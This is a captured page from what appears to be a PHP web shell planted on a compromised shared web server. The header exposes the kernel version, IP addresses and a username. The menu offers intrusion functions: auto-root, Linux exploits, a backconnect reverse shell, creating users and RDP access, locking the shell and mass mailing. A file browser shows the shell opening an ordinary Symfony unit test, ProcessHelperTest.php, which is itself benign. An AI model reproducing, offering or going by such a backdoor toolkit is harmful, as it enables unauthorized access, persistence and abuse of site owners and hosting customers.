Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
console /
Tests /
Helper /
[ HOME SHELL ]
Name
Size
Permission
Action
AbstractQuestionHelperTest.php
927
B
-rw-r--r--
FormatterHelperTest.php
4.3
KB
-rw-r--r--
HelperSetTest.php
5.4
KB
-rw-r--r--
HelperTest.php
1.36
KB
-rw-r--r--
ProcessHelperTest.php
4.65
KB
-rw-r--r--
ProgressBarTest.php
26.32
KB
-rw-r--r--
ProgressIndicatorTest.php
5.21
KB
-rw-r--r--
QuestionHelperTest.php
49.34
KB
-rw-r--r--
SymfonyQuestionHelperTest.php
9.06
KB
-rw-r--r--
TableStyleTest.php
733
B
-rw-r--r--
TableTest.php
29.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProcessHelperTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tests\Helper; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Helper\DebugFormatterHelper; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Helper\ProcessHelper; use Symfony\Component\Console\Output\StreamOutput; use Symfony\Component\Process\Process; class ProcessHelperTest extends TestCase { /** * @dataProvider provideCommandsAndOutput */ public function testVariousProcessRuns($expected, $cmd, $verbosity, $error) { $helper = new ProcessHelper(); $helper->setHelperSet(new HelperSet([new DebugFormatterHelper()])); $output = $this->getOutputStream($verbosity); $helper->run($output, $cmd, $error); $this->assertEquals($expected, $this->getOutput($output)); } public function testPassedCallbackIsExecuted() { $helper = new ProcessHelper(); $helper->setHelperSet(new HelperSet([new DebugFormatterHelper()])); $output = $this->getOutputStream(StreamOutput::VERBOSITY_NORMAL); $executed = false; $callback = function () use (&$executed) { $executed = true; }; $helper->run($output, 'php -r "echo 42;"', null, $callback); $this->assertTrue($executed); } public function provideCommandsAndOutput() { $successOutputVerbose = <<<'EOT' RUN php -r "echo 42;" RES Command ran successfully EOT; $successOutputDebug = <<<'EOT' RUN php -r "echo 42;" OUT 42 RES Command ran successfully EOT; $successOutputDebugWithTags = <<<'EOT' RUN php -r "echo '<info>42</info>';" OUT <info>42</info> RES Command ran successfully EOT; $successOutputProcessDebug = <<<'EOT' RUN 'php' '-r' 'echo 42;' OUT 42 RES Command ran successfully EOT; $syntaxErrorOutputVerbose = <<<'EOT' RUN php -r "fwrite(STDERR, 'error message');usleep(50000);fwrite(STDOUT, 'out message');exit(252);" RES 252 Command did not run successfully EOT; $syntaxErrorOutputDebug = <<<'EOT' RUN php -r "fwrite(STDERR, 'error message');usleep(500000);fwrite(STDOUT, 'out message');exit(252);" ERR error message OUT out message RES 252 Command did not run successfully EOT; $errorMessage = 'An error occurred'; $args = new Process(['php', '-r', 'echo 42;']); $args = $args->getCommandLine(); $successOutputProcessDebug = str_replace("'php' '-r' 'echo 42;'", $args, $successOutputProcessDebug); return [ ['', 'php -r "echo 42;"', StreamOutput::VERBOSITY_VERBOSE, null], [$successOutputVerbose, 'php -r "echo 42;"', StreamOutput::VERBOSITY_VERY_VERBOSE, null], [$successOutputDebug, 'php -r "echo 42;"', StreamOutput::VERBOSITY_DEBUG, null], [$successOutputDebugWithTags, 'php -r "echo \'<info>42</info>\';"', StreamOutput::VERBOSITY_DEBUG, null], ['', 'php -r "syntax error"', StreamOutput::VERBOSITY_VERBOSE, null], [$syntaxErrorOutputVerbose, 'php -r "fwrite(STDERR, \'error message\');usleep(50000);fwrite(STDOUT, \'out message\');exit(252);"', StreamOutput::VERBOSITY_VERY_VERBOSE, null], [$syntaxErrorOutputDebug, 'php -r "fwrite(STDERR, \'error message\');usleep(500000);fwrite(STDOUT, \'out message\');exit(252);"', StreamOutput::VERBOSITY_DEBUG, null], [$errorMessage.\PHP_EOL, 'php -r "fwrite(STDERR, \'error message\');usleep(50000);fwrite(STDOUT, \'out message\');exit(252);"', StreamOutput::VERBOSITY_VERBOSE, $errorMessage], [$syntaxErrorOutputVerbose.$errorMessage.\PHP_EOL, 'php -r "fwrite(STDERR, \'error message\');usleep(50000);fwrite(STDOUT, \'out message\');exit(252);"', StreamOutput::VERBOSITY_VERY_VERBOSE, $errorMessage], [$syntaxErrorOutputDebug.$errorMessage.\PHP_EOL, 'php -r "fwrite(STDERR, \'error message\');usleep(500000);fwrite(STDOUT, \'out message\');exit(252);"', StreamOutput::VERBOSITY_DEBUG, $errorMessage], [$successOutputProcessDebug, ['php', '-r', 'echo 42;'], StreamOutput::VERBOSITY_DEBUG, null], [$successOutputDebug, new Process('php -r "echo 42;"'), StreamOutput::VERBOSITY_DEBUG, null], ]; } private function getOutputStream($verbosity) { return new StreamOutput(fopen('php://memory', 'r+', false), $verbosity, false); } private function getOutput(StreamOutput $output) { rewind($output->getStream()); return stream_get_contents($output->getStream()); } }
Close